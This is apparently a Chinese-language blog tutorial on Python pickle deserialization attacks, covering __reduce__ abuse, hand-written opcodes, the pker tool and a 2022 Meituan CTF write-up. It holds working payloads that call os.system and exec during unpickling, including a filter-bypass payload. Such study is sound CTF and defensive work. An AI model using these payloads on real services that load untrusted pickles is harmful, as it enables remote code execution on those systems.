pickle反序列化

##pickle反序列化语法
###可序列化的对象

  • None,True,False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存的对象的集合,包括tuple、list、set、dict
  • 定义在模块最外层的函数(使用def定义,lambda函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__属性值或__getstate__()函数的返回值可以被序列化的类
    ###object.__reduce__()函数
  • object.__reduce__()返回一个(callable,([para1,para2....])[,...])的元组,在unpickle时,就会将callable作为函数并执行para1参数
  • 在下文pickle的opcode中,R的作用与object.__reduce__()关系密切,选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。包含该函数的对象被pickle序列化时,得到的字符串是包含R

###opcode版本

  • pickle有不同的实现版本,在py2和py3中得到的opcode不同,但是pickle可以向下兼容。目前,pickle有6种版本
    import pickle
    a={'1':1,'2':2}
    print(f'# 原变量:{a!r}')
    for i in range(4):
    print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
    输出:
    # 原变量:{'1': 1, '2': 2}
    pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
    pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
    pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
    pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
    以上为不同版本的opcode形式
    ###pickletools
    通过pickletools可以将opcode转化为容易读取的形式

    ###如何使用手写opcode
    ####使用pickle序列化编写简单的exp
    #####成功命令执行
    import pickle
    import os
    class testpoc(object):
    def __reduce__(self):
    s="whoami"
    return os.system,(s,)

    exp= testpoc()
    poc=pickle.dumps(exp)
    print(poc)
    pickle.loads(poc)

    值得注意的是这里的返回值,需要满足reduce的使用方式,第一次参数为执行的函数,第二参数需要为元组,里面的内容为执行的参数
    #####实现变量覆盖
    import pickle
    key1 = b'321'
    key2 = b'123'
    class A(object):
    def __reduce__(self):
    return (exec,("key1=b'1'\nkey2=b'2'",))

    a = A()
    pickle_a = pickle.dumps(a)
    print(pickle_a)
    pickle.loads(pickle_a)
    print(key1, key2)
    这里有必要熟悉一下exec这个函数
    exec:exec obj.exec 执行储存在字符串或文件中的Python语句,相比于 eval,exec可以执行更复杂的 Python 代码。

    ####手写opcode
    #####pickle过程详细解读

1.pickle依靠pvm进行,涉及解析引擎、栈、内存
2.解析引擎从流中读取opcode和参数,并对齐进行解释,遇到.的时候停止,最终留在栈定的值会被作为反序列化对象返回
3.memo:由python的dict实现,将反序列化完成的数据以key-value的形式存储在memo中
#####opcode操作集合
具体的就看这里的表格:https://xz.aliyun.com/t/7436
编写时需要注意

  • 了解栈中数据的变化,正确使用opcode
  • 与python本身的操作对照,比如append对应a,exten对应e
  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattr、dict.get)才能进行。但是因为存在s、u、b操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c、i。而如何查值也是CTF的一个重要考点。
  • s、u、b操作符可以构造并赋值原来没有的属性、键值对。
    以上为粘贴复制内容,还不太理解~

拼接opcode
将第一个pickle流结尾表示结束的.去掉

import opcode
import secret
import pickle
import pickletools
opcode=b"""c__main__
secret
(S'name'
S'1'
db."""

print('be:',secret.name)

output=pickle.loads(opcode)

print('output:',pickletools.dis(opcode))

print('af:',secret.name)


这里来解析一下这个opcode
1.c__main__\nsecret\n:使用c操作符,引入当前main模块,并且获取secret对象
2.S:实例化一个字符串对象
3.(:向栈中压入一个MARK标记
4.d:寻找栈中的上一个MARK,并组合之间的数据为字典(因此必须要偶数个,呈key-value对)
5.b:使用栈中的第一个元素(存储属性值也有属性名的字典),对第二个元素进行属性设置
#####与函数执行相关的opcode:Rio
R:

poc=b"""cos
system
(S'whoami'
tR.
"""

c引入os模块,获取其system函数,mark标记whoami参数,使用t操作符将whoami转化为元组,因为r操作符的对象是元组
i:
i操作符相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
具体写法:i[module]\n[callable]\n

poc=b'''(S'whoami'
ios
system
.'''
print(pickletools.dis(poc))
output=pickle.loads(poc)


跟着这个打印结果,可以解析一下:组合了whoami为一个元组作为获取到的system这个函数的参数
o:
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

poc=b'''(cos
system
S'whoami'
o.'''
print(pickletools.dis(poc))
output=pickle.loads(poc)

##实战
###pker工具使用
部分语法:

以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

####2022美团ctf复现

a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))

前面就是session的伪造操作,关键的pickle反序列化代码在这个位置
可以看到,他将builtin和os等内容都过滤了,并且将我们需要的Roib字符也过滤了,
首先从代码逻辑层面研究
他会将os替换为Os,此时如果最后的操作符输入,而在pickle中,有一个点很关键就是,opcode在执行过程中,遇到语法错误就会停止执行,但是在之前入过语法是正确的,则会照常执行
这其实很符合python的风格,python也是一直执行直到出现语法错误为止。
payload:

poc=b"""(cos
system
S'whoami'
os
."""


可以看到,即使最后跑出了error,但是依旧执行命令了
#####解法二
这种解法更考察对pickle反序列化的理解了
https://chowdera.com/2022/263/202209200043416482.html

Author

vague huang

Posted on

2022-11-20

Updated on

2023-02-10

Licensed under

Comments